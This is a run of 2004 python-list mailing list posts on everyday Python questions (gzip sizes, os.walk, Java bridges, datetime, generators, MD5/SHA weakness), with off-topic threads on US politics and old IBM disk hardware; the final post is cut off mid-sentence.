Subject: uncompressed size of .gz file In-Reply-To: Message-ID: <000001c49ed3$35125b20$0a0c10ac@che2003> Thank to Fredrik Lundh and Cousin Stanley. I had a similar solution of Cousin Stanley: import commands status, output = commands.getstatusoutput('gunzip -l ' + name_of_gz_file) if not status: long(filter(None, output.splitlines()[1].split(' '))[1]) but the problem of this kind of solutions is that depend of the OS(some OS not have gunzip command), for this reason I make the question. However solution of Fredrik Lundh is totally OS unaware. Just a question: in line "return struct.unpack(" What python function give me the uncompressed size of .gz file like > "gzip -l name_of_compress_file". the size is stored as a 32-bit integer at the end of the file. to get it, you can use something like: def getsize(gzipfile): import struct f = open(gzipfile, "rb") if f.read(2) != "\x1f\x8b": raise IOError("not a gzip file") f.seek(-4, 2) return struct.unpack(">> print getsize("Python-2.4a3.tgz") 38758400 hope this helps! -- http://mail.python.org/mailman/listinfo/python-list __________________________________________ Aniversario 40 de la CUJAE Visite: XII Convencion de Ingenieria y Arquitectura http://www.cujae.edu.cu/eventos/convencion/ From albalmer at att.net Fri Sep 3 13:45:27 2004 From: albalmer at att.net (Alan Balmer) Date: Fri, 03 Sep 2004 10:45:27 -0700 Subject: Xah Lee's Unixism References: <10jc7cu7e57koaa@corp.supernews.com> <20040901.2343.57633snz@dsl.co.uk> <41376B82.C6A202FC@yahoo.com> <0g0fj0dvbthf0cj224bdt6ikqsv2vs5jlb@4ax.com> <8K0_c.2928$lv3.518794@news4.srv.hcvlny.cv.net> Message-ID: <3vahj09m887i64osgm65bhhh6l9tl6j38a@4ax.com> On Fri, 03 Sep 2004 16:12:52 GMT, "John W. Kennedy" wrote: >Anne & Lynn Wheeler wrote: >> i have some recollection of competing bids building single unit >> assemblies at sea coast sites allowing them to be barged to >> florida. supposedly the shuttle boosters were sectioned specifically >> because they were being fabricated in utah and there were >> transportation constraints. > >Yes. A vastly inferior design was used, which ended up killing seven >astronauts, because Orrin Hatch had to be appeased with boodle for Utah. The first disaster was due to (possibly inferior) gaskets and inferior judgment on launch day. The second was falling foam, and inferior realization of the gravity of the problem. I'm not clear on what either had to do with Utah. -- Al Balmer Balmer Consulting removebalmerconsultingthis at att.net From jello at comics.com Wed Sep 29 12:32:46 2004 From: jello at comics.com (rzed) Date: Wed, 29 Sep 2004 16:32:46 GMT Subject: how to get files in a directory References: <415ACCF4.4070506@esi-group.com> Message-ID: Jeremy Jones wrote in news:mailman.4081.1096470726.5135.python-list at python.org: > Anand K Rayudu wrote: > >> >> Hi all, >> >> I am trying to find a way to get the files recursively in a >> given directory, >> >> The following code is failing, can some one please suggest what >> could be problem here >> >> >> from os import walk,join >> >> for root,dir,files in os.walk("E:\myDir1\MyDir2"): >> for i in dir: >> for j in files: >> fille = root+i+j >> print file >> >> Surprisingly if i give os.walk("E:\myDir1") the above code >> works, but not if i have 2 levels of directories. >> >> Thanks & Best Regards, >> Anand >> >> > Would you mind posting the code that works? First of all, os > doesn't have a join, so doing an "from os import walk, join" > won't work. Second, you don't have an "os" namespace in your > script. Third, if your import would've worked, you would have > wound up with walk and join in your toplevel namespace. Next, > you've got "fille = root + i + j" (two letters l in fille) then > you try to print "file" (with one l). This code works for me: > > import os > > for root,dir,files in os.walk("r:\svn\qa"): > for i in dir: > for j in files: > file = root + i + j > print file > Taking Jeremy's code and attempting to print the contents of a directory, I see that it fails on my Win2K system when given a path like "c:\\dir1\\dir2\\dir3" (regardless of how I specify the path). When I print the contents of root, dir and files before entering the lower-level loops, I see that *dir* contains an empty list when root contains "c:\\dir1\\dir2\\dir3". That is, the contents of the lowest-level directory won't be printed out because dir has no list elements, although *files* does. So it looks like you'd have to check for the empty dir and handle that situation separately. -- rzed From adalke at mindspring.com Mon Sep 20 12:18:53 2004 From: adalke at mindspring.com (Andrew Dalke) Date: Mon, 20 Sep 2004 16:18:53 GMT Subject: Python Webstart ? In-Reply-To: References: <414acdc8$0$2404$61ce578d@news.syd.swiftdsl.com.au> Message-ID: Roger Binns wrote: > I object to different packaging systems than my OS uses. When I use > Windows I expect programs to arrive as setup.exe, to add themselves > to the Add/Remove programs in the Control Panel etc. ... You probably use more programs than those on your desktop. You can think of Google, Yahoo, eBay, etc. as web-based applications for their specific tasks. These differ from your OS in that they have no local installation. You go to the right URL and start using it. They also differ in that they have limited access to local resources. I believe WebStart's goal is to expand on the latter while acting like the former. Andrew dalke at dalkescientific.com From foo at bar.com Fri Sep 3 20:12:13 2004 From: foo at bar.com (Steve Menard) Date: Fri, 03 Sep 2004 20:12:13 -0400 Subject: use of Java modules In-Reply-To: <2ppnpbFno6boU1@uni-berlin.de> References: <2pp4v4Fnp39vU1@uni-berlin.de> <5ANZc.28456$681.376020@weber.videotron.net> <2ppnpbFno6boU1@uni-berlin.de> Message-ID: Luis P. Mendes wrote: > Steve Menard wrote: > > >>There is Jython. This works well if you python code is compatible. This >>means any python libraries you use must be jython-compatible. Also, >>python-language-wise, jython is still arounf puthon 2.1 afaik. >> >>Secondly, tehre is JPype ( http://jpype.sourceforge.net ). It still >>alpha (and even that can be termed generous hehe). This is my prefered >>option, since I am it's developper hehe. In theory it should eventually >>allow you to use any Java class as though it were a python class. >> >>Thirdly there is spiro (http://www.freenet.org.nz/python/spiro/) I have >>no experience with it, but I know it bridges the Python and Java VM by >>using CORBA. >> >>Lastly there was JPI, a interface generator that would expose specific >>java classes to python. the website seems to be down though ... >> >>All these solutions have one thing in common though ... you will have to >>learn a bit about java. No so much as to need to program in it, but >>enough to set up environment and classpath, etc ... >> >>If you decide to use JPype, you get support for free ;) >> >>Hope this helps, >> >>Steve > > > > Hello Steve, > > I must thank you for your answer, as well as Jeff. > > JPype really seemed what I was looking for. Now that you've told me (in the > SourceForge.net forum) that it's available in Linux, I'll try hard to use > it. For sure, we'll keep in touch! > > From all the three projects, JPype seems to me, at least, as the one where > I'd have to learn less about Java. Correct me if I'm wrong. > > Luis > humm that is actually hard to say ... Jython would probably require more java knowledge. JPI and SPIRO I do not know enough about to say. I forgot to mention an older project whose goal was very similar to JPype. It is unmaintained but achieved greater featurefull-ness thaqn JPype. It is JPE at http://jpe.sourceforge.net Steve From com-nospam at ccraig.org Thu Sep 23 08:56:00 2004 From: com-nospam at ccraig.org (Christopher A. Craig) Date: 23 Sep 2004 08:56:00 -0400 Subject: Why not FP for Money? References: Message-ID: Barkmann at gmail.com (Chris Barker) writes: > """ > consider, for > example, a program that calculates payments on a real estate mortgage. > Given that interest may need to be calculated on a daily basis, and > that > the daily interest rate is a very small fraction, the imprecision of > floating point can then become much more significant relative to the > desired quantity. And given that there's a *lot* of calculations over > which this imprecision can build (a 30-year mortgage ~= 10957 days), > and > the exponential nature of the interest calculation, this can become a > real issue. > """ > > OK, so how the heck do you do that? Any system, fixed or FP, binary or > decimal, is going to have the same issue. I think the answer is that > you have to round, but you can follow the appropriate accounting > practice when you do so. > You could use a rational, but you'ld get some heinously slow calculations (and you'ld need all integer exponents since a fractional exponent could get you an irrational result). -- Christopher A. Craig "There is no subject, however complex, which--if studied with patience and intelligence--will not become more complex." New Speaker's Handbook From bokr at oz.net Sun Sep 19 19:18:18 2004 From: bokr at oz.net (Bengt Richter) Date: 19 Sep 2004 23:18:18 GMT Subject: Math errors in python References: <1gkdncx.kyq0oz1excwtyN%aleaxit@yahoo.com> Message-ID: On Sun, 19 Sep 2004 20:31:48 +0200, aleaxit at yahoo.com (Alex Martelli) wrote: >Dennis Lee Bieber wrote: > >> Strangely, HP's tended not to hold guard digits... My HP-48sx >> gives the all-9s result, and I recall older models also not having >> guards. > >Nothing strange there -- HP's calculators were squarely aimed at >scientists and engineers, who are supposed to know what they're doing >when it comes to numeric computation (they mostly _don't_, but they like >to kid themselves that they do!-). > ISTM we humans mostly persist in ignoring seemingly inconsequential flaws in our mental maps of reality until we are sufficiently surprised or fail too long to find something dear to us (whether numerical results, a surfing beach, a better map, a love, a purpose, or ultimate enlightenment ;-) Regards, Bengt Richter From winexpert at hotmail.com Thu Sep 23 14:25:47 2004 From: winexpert at hotmail.com (David Stockwell) Date: Thu, 23 Sep 2004 18:25:47 +0000 Subject: incrementing a time tuple by one day Message-ID: Thanks, I figured it out with your help. Thanks :) David ------- Surf a wave to the future with a free tracfone http://cellphone.duneram.com/index.html >From: Peter Hansen >To: python-list at python.org >Subject: Re: incrementing a time tuple by one day >Date: Thu, 23 Sep 2004 13:24:05 -0400 > >David Stockwell wrote: >>I'm sure this has been asked before, but I wasn't able to find it. >> >>First off I know u can't change a tuple but if I wanted to increment a >>time tuple by one day what is the standard method to do that? >> >>I've tried the obvious things and haven't gotten very far. >> >>I have a time tuple that was created like this: >>aDate = '19920228' >>x = time.strptime(aDate,"%Y%m%d") >>print x >>(1992, 2, 28, 0, 0, 0, 4, 59, -1) >> >>y = time.mktime(x) + time.mktime((0,0,1,0,0,0,0,0,0)) >>print y >>1643277600.0 >>print time.ctime(y) >>'Thu Jan 27 05:00:00 2022' >> >>It appears to have decremented by a day and a month instead of increment. >> >>What am I doing wrong? > >What you're doing wrong is: not using the datetime module... > > >>> aDate = '19920228' > >>> x = time.strptime(aDate, '%Y%m%d') > >>> print x >(1992, 2, 28, 0, 0, 0, 4, 59, -1) > >>> d = datetime.datetime.fromtimestamp(time.mktime(x)) > >>> d >datetime.datetime(1992, 2, 28, 0, 0) > >>> y = d + datetime.timedelta(days=1) > >>> y.ctime() >'Sat Feb 29 00:00:00 1992' > > >-Peter >-- >http://mail.python.org/mailman/listinfo/python-list _________________________________________________________________ Get ready for school! Find articles, homework help and more in the Back to School Guide! http://special.msn.com/network/04backtoschool.armx From peter at engcorp.com Sat Sep 25 08:09:08 2004 From: peter at engcorp.com (Peter Hansen) Date: Sat, 25 Sep 2004 08:09:08 -0400 Subject: random.choice returns the same value In-Reply-To: References: Message-ID: Brian wrote: > Any reason why random.choice would return the first value in a list > everytime? Code sample so we don't have to guess? -Peter From tundra at tundraware.com Fri Sep 3 14:59:45 2004 From: tundra at tundraware.com (Tim Daneliuk) Date: 03 Sep 2004 14:59:45 EDT Subject: ANN: YAPDL In-Reply-To: <1gjiagl.6vfxje4byo3dN%aleaxit@yahoo.com> References: <2osh02-e6i1.ln1@eskimo.tundraware.com> <1gjiagl.6vfxje4byo3dN%aleaxit@yahoo.com> Message-ID: <1eqm02-gsr2.ln1@eskimo.tundraware.com> Alex Martelli wrote: > Tim Daneliuk wrote: > ... > Ha ha, very funny, but I think it's quite misplaced criticism. Criticism? I thought we just announced a new product ;) -- ---------------------------------------------------------------------------- Tim Daneliuk tundra at tundraware.com PGP Key: http://www.tundraware.com/PGP/ From grante at visi.com Wed Sep 22 16:58:16 2004 From: grante at visi.com (Grant Edwards) Date: 22 Sep 2004 20:58:16 GMT Subject: detecting variable types References: Message-ID: <4151e768$0$78153$a1866201@newsreader.visi.com> On 2004-09-22, Andrew Koenig wrote: > "Jay" wrote in message > news:ciskpq$7f2$1 at news-int.gatech.edu... > >> Here's what I'm trying to do: >> >> I have a function like this: >> >> def func(**params): >> >> # if params[key1] is a single string >> # do something with params[key1] >> >> # if params[key1] is a list of strings >> for val in params[key1]: >> # do something >> >> Could you suggest a better way to do this without detecting the type? > > I don't see anything particularly wrong with detecting the type this way: > > if isinstance(params[key1], list): > for val in params[key1]: > # do something > else: > # do something with params[key1] > > Of course that won't work for other kinds of sequences, but if that's what > you want, then that's what you want. When I write functions that accept either a list or a single object, I usually "normalize" the paramter into a list and then the rest of the function just operates on lists: if not isinstance(myParameter,list): myParameter = [myParameter] [...] for p in myParameter: [...] -- Grant Edwards grante Yow! Is this where people at are HOT and NICE and they visi.com give you TOAST for FREE?? From deetsNOSPAM at web.de Mon Sep 13 07:41:20 2004 From: deetsNOSPAM at web.de (Diez B. Roggisch) Date: Mon, 13 Sep 2004 13:41:20 +0200 Subject: Mail extraction problem (something's wrong with split methods) References: Message-ID: > This enc_txt is the thingy which is mailed... Do you see any mistakes? Nope - but the result of that operation should be a stream of ints stored in a list. Thats ok - but how do you actually _create_ the mail text - do you use the repr() of the list? That certainly is not a good idea, as that representation is made for human readability. Better to use e.g. module struct to create a string out of it, and uuencode that. The more interesting code is what you do with your list to actually create the mail. -- Regards, Diez B. Roggisch From mlh at furu.idi.ntnu.no Sat Sep 11 12:59:56 2004 From: mlh at furu.idi.ntnu.no (Magnus Lie Hetland) Date: Sat, 11 Sep 2004 16:59:56 +0000 (UTC) Subject: MD5 and SHA cracked/broken... Message-ID: I saw this in an article referenced from slashdot a while back, and it occurred to me that it might be relevant here... Basically, at Crypto 2004 preliminary papers were presented that pointed out weaknesses in MD5, SHA-0 and SHA-1. As far as I can tell, MD5 is broken and SHA-1 seems to be in a precarious position (even though I don't know the details at all). Perhaps it would be appropriate to add a note, warning or "See also" to the library documentation for the md5 and sha modules? Of course, these modules don't give any guarantees, but their functionality does seem to imply a certain level of security (especially SHA, whose name even includes the name "secure"). If this name no longer holds, a "heads up" might be useful. Does anyone understand enough crypto-speak to figure out how problematic this all is, and what applications should be avoided? Also -- are there any alternative one-way functions that are still considered safe, and that could be useful as Python modules (in place of, perhaps, md5 and sha)? -- Magnus Lie Hetland The time you enjoy wasting is not wasted time http://hetland.org -- Bertrand Russel From nid_oizo at yahoo.com_remove_the_ Wed Sep 22 09:44:36 2004 From: nid_oizo at yahoo.com_remove_the_ (Nicolas Fleury) Date: Wed, 22 Sep 2004 09:44:36 -0400 Subject: up with PyGUI! In-Reply-To: <414783DD.4070509@zephyrfalcon.org> References: <414783DD.4070509@zephyrfalcon.org> Message-ID: <4lf4d.15151$pA.1180511@news20.bellglobal.com> Hans Nowak wrote: > Zooko O'Whielacronx wrote: > >> I'm a fan of Greg Ewing's PyGUI [1]. I used it to code a simple game >> for my son [2], and enjoyed it. Programming with wxPython feels like >> programming with a C++ tool that has been wrapped in Python. > > > This problem is addressed by Wax: I think it doesn't go far enough. Wouldn't it better to hide the concept of wxPython ownership by now passing the parent in the constructor, but instead create the wxPython widget when it is finally added to its parent? It could also be a good idea to take the occasion to respect PEP8. Note also that "import wax" would be better than "from wax import *". Regards, Nicolas From grante at visi.com Tue Sep 14 15:58:12 2004 From: grante at visi.com (Grant Edwards) Date: 14 Sep 2004 19:58:12 GMT Subject: newbie sending hex values over UDP socket References: Message-ID: <41474d54$0$65567$a1866201@newsreader.visi.com> On 2004-09-14, Bill Seitz wrote: > OK, so I'm clear on sending a string. > > If I want to send a numeric value, do I use something like > struct.pack('b',int) > ? That will work, but for single characters, chr() is simpler: chr(int) -- Grant Edwards grante Yow! MMM-MM!! So THIS is at BIO-NEBULATION! visi.com From abra9823 at mail.usyd.edu.au Thu Sep 2 04:28:03 2004 From: abra9823 at mail.usyd.edu.au (Ajay) Date: Thu, 2 Sep 2004 18:28:03 +1000 Subject: .net and python Message-ID: <1094113683.4136d99325535@www-mail.usyd.edu.au> hi! Is it possible for me to have part of my application written using C#.NET and then have it called from within a Python program. thanks cheers ---------------------------------------------------------------- This message was sent using IMP, the Internet Messaging Program. From max at alcyone.com Wed Sep 8 21:05:55 2004 From: max at alcyone.com (Erik Max Francis) Date: Wed, 08 Sep 2004 18:05:55 -0700 Subject: itoa (WAS: Re: %a format) References: <10jsqrm2rsqdc39@news.supernews.com> Message-ID: <413FAC73.452EDCD1@alcyone.com> Steven Bethard wrote: > Well, I'm guessing itoa isn't a standard function because it's not > that > commonly used... It was a common library add-on in the DOS world, but it was never standard. -- __ Erik Max Francis && max at alcyone.com && http://www.alcyone.com/max/ / \ San Jose, CA, USA && 37 20 N 121 53 W && AIM erikmaxfrancis \__/ Never had very much to say / Laugh last, laugh longest -- Des'ree From jerf at jerf.org Wed Sep 15 16:44:51 2004 From: jerf at jerf.org (Jeremy Bowers) Date: Wed, 15 Sep 2004 20:44:51 GMT Subject: optimizing memory utilization References: <1db49385.0409141355.5d204a03@posting.google.com> Message-ID: On Tue, 14 Sep 2004 14:55:56 -0700, Wes Crucius wrote: > Maybe someone has a better suggestion if I give little more info: I > want to iterate through about 10,000 strings (each ~256 characters or > less) looking for occurances (within those 10,000 strings) of any one > of about 500,000 smaller (~30-50 characters average) strings. Then I > generate an XML doc that records which of the 500,000 strings were > found within each of the 10,000 strings. There may be a good reason for this, but it should be asked: Why not stream one set of strings or the other in, instead of loading them up front? The other obvious answer that isn't cute, but will probably be faster to program and still run faster then a process that runs into swap is to break the problem up: Either check some % of the 10,000 in one run and start over, or check some % of the 500,000 and start over with a new chunk. There's nothing wrong with such chunking; when you start asking for results from datasets that challenge your machine there are many techniques that seem wasteful but really aren't. One of my personal canonical examples is something called "iterative deepening depth first search" for large graphs that may have cycles (which can trap the depth-first search). On the first run, you search your first level. On the second, you search down two levels, and so on. By stopping at a certain depth you ensure that you cover all nodes down to that depth without being trapped. It sounds horridly wasteful compared to trying to keep track of the visited nodes, but it turns out that it may only double or less the execution time while saving vaste swathes of memory. It still boggles my mind. From skip at pobox.com Mon Sep 13 14:01:39 2004 From: skip at pobox.com (Skip Montanaro) Date: Mon, 13 Sep 2004 13:01:39 -0500 Subject: Addition to slice syntax (for strings) In-Reply-To: <4145d672$0$22765$db0fefd9@news.zen.co.uk> References: <4145d672$0$22765$db0fefd9@news.zen.co.uk> Message-ID: <16709.57475.641371.160264@montanaro.dyndns.org> >>>>> "Will" == Will McGugan writes: Will> I'd like to suggest an addition to the slice syntax. How about Will> allowing strings as arguments to slices on strings, and interpret Will> them as the index of the substring found within the string being Will> sliced. I'm sure I didnt explain that too well, so here is an Will> example.. How would you interpret >>> s = "my dog has fleas" >>> s['x':'z'] # both strings nonexistent >>> s['z':'f'] # first string nonexistent >>> s['f':'z'] # second string nonexistent >>> s['g':'d'] # second appears earlier than first Returning the empty string in all cases is plausible, but other possibilities make sense at some level: s['x':'z'] => "" s['x':'z'] => "my dog has fleas" s['z':'f'] => "my dog has f" s['z':'f'] => "my dog has " s['f':'z'] => "leas" s['f':'z'] => "fleas" s['g':'d'] => "" s['g':'d'] => "god" Two other quibbles about your example: * why not use s.rfind("...") instead of s.find("...") for the second index? * why add 1 to the offset of the second index? In short, there is enough uncertainty in what the "right" thing to do is, I suspect you'd be better off just subclassing strings when you need this sort of functionality in your apps. Skip From krw at att.bizzzz Sat Sep 11 23:10:52 2004 From: krw at att.bizzzz (keith) Date: Sat, 11 Sep 2004 23:10:52 -0400 Subject: Xah Lee's Unixism References: <4139561C.F52D4E4@yahoo.com> <10srj09tdkvim71i677g7eh7b2nk1qkmfm@4ax.com> <413f03cc$0$6914$61fed72c@news.rcn.com> <413F43AC.9D2088AF@yahoo.com> <10juvnrt88k4868@corp.supernews.com> <414069c6$0$6912$61fed72c@news.rcn.com> <2ql1k0t2cgjbmgp34ir47sv5u9ifv5tmem@4ax.com> Message-ID: On Sat, 11 Sep 2004 14:51:56 -0700, Jack Peacock wrote: > "Chuck Dillon" wrote in message > news:chsbod$q0i$1 at grandcanyon.binc.net... >> Your argument is shallow if you direct it to the person who happens to be >> holding the office of President at the moment. The President can't >> introduce or pass law. >> > Laws no, but the definition of a law can be ambiguous. Congress has given > federal agencies under the President broad power to issue regulations with > the same effect as laws, but without going through the legislative process. > Anyone who has ever battled with the Bureau of Land Management or ran afoul > of the Endangered Species Act knows that "laws" are often created by fiat in > a Washington DC office building. > > Then there are presidential Executive Orders which are often attempts to end > run around a lack of congressional cooperation. Clinton attempted to use > this to outlaw firearms posession in federal housing until the Supreme Court > put a stop to it. > > And finally there are international treaties, which operate with the force > of law but are not passed by the House of Representatives. The President > signs it and the Senate confirms it, but half the legislative process is cut > out. Often all that protects the country from disasters like the Kyoto > Treaty is a filibuster by a Senate minority. In the case of Kyoto, no filibuster was necessary. Even Kerry wouldn't have voted for it (it went doen 99-0 in a trial balloon). ...though might today. Who knows what he'd support tomorrow. He's been on eight sides (and still inventing more) of the Iraq issue. -- Keith From adalke at mindspring.com Sun Sep 5 01:57:34 2004 From: adalke at mindspring.com (Andrew Dalke) Date: Sun, 05 Sep 2004 05:57:34 GMT Subject: A little stricter type checking In-Reply-To: References: <5_MZc.5808$w%6.5000@newsread1.news.pas.earthlink.net> Message-ID: Peter Otten wrote: > There are at least three more idioms that could (sometimes) be replaced > by type-checking: Though from what I can tell the OP wanted "real" type checking, as found in Java and C. The original text was ] On the other hand in languages like C, java etc... ] where types are strict we have the guarantee that ] the variables will always be the same type without ] any change. > # "casting" Wouldn't that be type conversion, and not a check? > # check for an "interface" > try: > lower = s.lower > except AttributeError: > raise TypeError > else: > lower() Mmm, there's a problem with this checking. Consider class Spam: lower = 8 Though the odds are low. > # check for an "interface", LBYL-style > if not hasattr(foo, "bar"): > raise TypeError Aren't both of these the "look before you leap" style? Well, except for checking for the callable. > These are more difficult to hunt and I'm lazy. > > However, I don't think you can tell from the structure alone whether an > explicit type declaration would be a superior solution in these cases. I do at times use tests like you showed, in order to get a more meaningful error message. I don't think they are considered type checks -- perhaps protocol checks might be a better term? > Should Python be extended to allow type declarations, I expect them to > appear in places where they reduce the usefulness of the code while > claiming to make it safe... As was mentioned in the @PEP (as I recall) one of the interesting possibilities is to use type checks with support for the adapter PEP so that inputs parameters can get converted to the right type, rather like your first point. @require(PILImage) def draw(image): ... As new image data types are added, they can be passed to draw() without need for an explicit convert step, so long as the adapter is registered. Andrew dalke at dalkescientific.com From pchiusan at umich.edu Thu Sep 2 22:39:26 2004 From: pchiusan at umich.edu (Paul Chiusano) Date: 2 Sep 2004 19:39:26 -0700 Subject: Recursive Generator Question Message-ID: <6543373d.0409021839.5caff11d@posting.google.com> I've been playing around with generators and have run into a difficulty. Suppose I've defined a Node class like so: class Node: def __init__(self, data=None, left=None, right=None): self.children = [] self.children.append(left) self.children.append(right) self.data = data def __iter__(self): return self def next(self): """ Returns iteration over terminal nodes of this tree. """ if self.data: yield self else: for child in self.children: for terminal in child: yield terminal And then suppose I create a little binary tree like so: a = Node('a') b = Node('b') c = Node('c') d = Node('d') ab = Node(left=a, right=b) cd = Node(left=c, right=d) abcd = Node(left=ab, right=cd) for termNodes in abcd: print termNodes.data # gives an error when I do this, I get the following error: Traceback (most recent call last): File "C:\Documents and Settings\Paul Chiusano\workspace\sandbox\hello.py", line 69, in ? print termNodes.data AttributeError: 'generator' object has no attribute 'data' For some reason, that iteration is returning generators instead of leaves. Curiously, if I replace that for loop with for termNodes in terminals(abcd): # see definition below print termNodes.data # no problem! then it actually prints out: a b c d Here's the definition of terminals--pretty much identical to next. def terminals(t): """ Returns an iteration over the leaves of a tree, t """ if t.data: # if I have data, then I'm a terminal node yield t else: for child in t.children: for terminal in terminals(child): yield terminal Am I missing something? Or is it not possible to define recursive generators in this way? Thanks, Paul From cbuffer at NOSPAMrosecott.ukfsn.org Mon Sep 13 17:27:32 2004 From: cbuffer at NOSPAMrosecott.ukfsn.org (Ken Parkes) Date: Mon, 13 Sep 2004 22:27:32 +0100 Subject: #comments Message-ID: Hi, New to this game. Have tried the following. data=raw_input("Type something ") # spaces after "something" myInput=data print "You typed " myInput # and again print "The fourth character is "myInput[3] # and again When I run it in the shell I get error warnings for the second comment ( actually pointing to the t of myInput ) If I remove the comment I get one for the third comment. What is wrong please? Ken. From luis_XX at XXiname.com Thu Sep 2 19:19:53 2004 From: luis_XX at XXiname.com (Luis P. Mendes) Date: Fri, 03 Sep 2004 00:19:53 +0100 Subject: use of Java modules References: <2pp4v4Fnp39vU1@uni-berlin.de> <5ANZc.28456$681.376020@weber.videotron.net> Message-ID: <2ppnpbFno6boU1@uni-berlin.de> Steve Menard wrote: > > There is Jython. This works well if you python code is compatible. This > means any python libraries you use must be jython-compatible. Also, > python-language-wise, jython is still arounf puthon 2.1 afaik. > > Secondly, tehre is JPype ( http://jpype.sourceforge.net ). It still > alpha (and even that can be termed generous hehe). This is my prefered > option, since I am it's developper hehe. In theory it should eventually > allow you to use any Java class as though it were a python class. > > Thirdly there is spiro (http://www.freenet.org.nz/python/spiro/) I have > no experience with it, but I know it bridges the Python and Java VM by > using CORBA. > > Lastly there was JPI, a interface generator that would expose specific > java classes to python. the website seems to be down though ... > > All these solutions have one thing in common though ... you will have to > learn a bit about java. No so much as to need to program in it, but > enough to set up environment and classpath, etc ... > > If you decide to use JPype, you get support for free ;) > > Hope this helps, > > Steve Hello Steve, I must thank you for your answer, as well as Jeff. JPype really seemed what I was looking for. Now that you've told me (in the SourceForge.net forum) that it's available in Linux, I'll try hard to use it. For sure, we'll keep in touch! >From all the three projects, JPype seems to me, at least, as the one where I'd have to learn less about Java. Correct me if I'm wrong. Luis From albalmer at att.net Mon Sep 20 18:27:00 2004 From: albalmer at att.net (Alan Balmer) Date: Mon, 20 Sep 2004 15:27:00 -0700 Subject: Xah Lee's Unixism References: <4140688e$0$6912$61fed72c@news.rcn.com> <4140A885.90B945AC@yahoo.com> <4jkqhc.p7p1.ln@via.reistad.priv.no> <1oh3k01cieht04nmfo27pvihg8teme0mdt@4ax.com> <414F156C.7C28AEFB@yahoo.com> Message-ID: On Mon, 20 Sep 2004 18:07:50 GMT, CBFalconer wrote: >Alan Balmer wrote: >> Patrick Scheible wrote: >> >... snip ... >>> >>> They have committees, they don't have independent >>> intelligence-gathering ability. >> >> Neither does President Bush - he doesn't have time for all >> those field trips. That's why he gets reports from the various >> intelligence agencies, who also report to the Congressional >> intelligence committees. > >Then why does he ignore them, as evidenced by his non-response to >the July report on the future of Iraq, which was kept secret until >a few days ago? Have you read the report? By "ignore them", I presume you mean that his reaction to them wasn't the same as yours would have been. -- Al Balmer Balmer Consulting removebalmerconsultingthis at att.net From me at privacy.net Mon Sep 6 22:29:54 2004 From: me at privacy.net (Dan Sommers) Date: 06 Sep 2004 22:29:54 -0400 Subject: How to actually write a program? References: <41398a3c$0$255$edfadb0f@dread12.news.tele.dk> Message-ID: On Mon, 06 Sep 2004 18:58:12 -0400, Peter Hansen wrote: > Max M wrote: >> Jp Calderone wrote: >>> Close the file. Open test_mykewlprogram.py and begin writing unit >>> tests. >> I completely agree in the value of test driven development, but for >> someone writing a first program I completely disagree! >> He will have to fight both programming in itself, and the test driven >> development process. > I would have thought that the TDD process was *how* one would "fight > programming". Do you have a better way? All the approaches I've > seen in the past were much, much more difficult and less assured > of useful results in a reasonable time. > (Also, as a new programmer, he is unlikely to have to "fight" > TDD, since he doesn't have other approaches to try to unlearn. > I assume unlearning old habits is what you were thinking about, > because TDD itself is so simple that it's not at all hard to > actually follow the process.) Also as a new programmer, the OP is as unlikely to know how to write a test, nor how to write a test that fails, nor how to write the code that causes the test to pass. Tests *are* programs. My experience writing tests (in non-TDD environments) is that the tests are often more "interesting" (as in "may you live in interesting times") than the programs themselves. >> Dont Repeat Yourself >> ==================== >> If you have written a similar piece of code 3 times, you should >> refactor it into a function. > How does he get any code at all, when he doesn't know how > to start? You can't refactor what doesn't exist. How can he write a test, when he doesn't know how to start to write a program? TDD assumes that programmers can write programs. > -Peter Regards, Dan -- Dan Sommers Never play leapfrog with a unicorn. From firstname at lastname.pr1v.n0 Fri Sep 10 15:08:58 2004 From: firstname at lastname.pr1v.n0 (Morten Reistad) Date: Fri, 10 Sep 2004 21:08:58 +0200 Subject: Xah Lee's Unixism References: <7fe97cc4.0408251356.34f2102a@posting.google.com> <0vvphc.8nl1.ln@via.reistad.priv.no> Message-ID: In article , Anne & Lynn Wheeler wrote: >Morten Reistad writes: >> smD the TLA that represents a washing-machine size disk. Mountable. >> ^ Made impressive head crashes from time to time. >> >> But I won't interfere with this lovely thread drift with lots >> of relevant facts. > >the first disks i played with at the univ. were 2311s on 360/30; they >were individual, top-loading, with mountable disk packs; 2311 disk >pack was a little over 7mbytes. didn't find picture of 2311 ... but >this picture of 1311 were similar ... the lid of the unit was released >and raised (something like auto engine hood) >http://www-1.ibm.com/ibm/history/exhibits/storage/storage_1311.html > >the next were 2314s that came with 360/67. it was long single unit >with drive drawers that slid out. top & bottom row with 9 drives. >drives had addressing plugs .... eight plus a spare. a 2314 pack could >be mounted on the spare drive, spun up .... and then the addressing >plug pop'ed from an active unit and put in the spare drive. it reduced >the elapsed time that the system saw unavailable drive (time to power >off a drive, open the drawer, remove a pack, place in new pack, close >drawer, power up the drive). 2314 pack was about 29 mbytes. picture >of 2314 cabinet >http://www-1.ibm.com/ibm/history/exhibits/storage/storage_2314.html > > >the next were the 3330s ... long cabinet unit looked similar to 2314 >... but with only 8 drawers (instead of 9). 3330-i pack had 100mbytes >... later 3330-ii pack had 200mbytes. picutre of 3330 unit ... the three >cloaded plastic units on top of the unit were used to remove disk pack >and hold it. >http://www-1.ibm.com/ibm/history/exhibits/storage/storage_PH3330.html These are the IBM gear that most resemble SMB equipment. SMD's were the BUNCH answer to DEC's RP04/5/6 and IBM's 3330. Originally made by CDC; others also produced them. NCR and Fujitsu come to mind. Originally existed as 80-megabyte, pretty light units (30 kg); later expanded to 160-megabyte. Then the real washing machines turned up; 300 mb (315 unformatted megabytes). Originally 4 on a chain, 15 mbit analogue readout (MFM ISTR; they never tried RLL). These were a mainstay among the smaller mini vendors from approx 1974 to the advent of winchesters around a decade later. The earliest winchesters made exact hardware replicas of the SMD. Then the spec was expanded and became ESMD, but ESMD was never as robustly standardized. Sacrifices of goats, PHBs and undergraduates was needed to stabelize long ESMD chains. >close up of 3330 disk pack in its storage case ... also has picture >of 3850 tape cartridges >http://www-1.ibm.com/ibm/history/exhibits/storage/storage_PH3850B.html > >misc. other storage pictures: >http://www-1.ibm.com/ibm/history/exhibits/storage/storage_photo.html > >next big change was 3380 drives with totally enclosed, non-mountable >cabinet. > >old posting on various speeds and feeds >http://www.garlic.com/~lynn/95.html#8 3330 disk drives > >and some more old performance data >http://www.garlic.com/~lynn/95.html#10 virtual memory > >i had written a report that relative disk system performance had >declined by a factor of ten times over a period of 10-15 years. the >disk division assigned their performance group to refute the >claim. they looked at it for a couple of months and concluded that i >had somewhat understated the relative system performance decline >... that it was actually 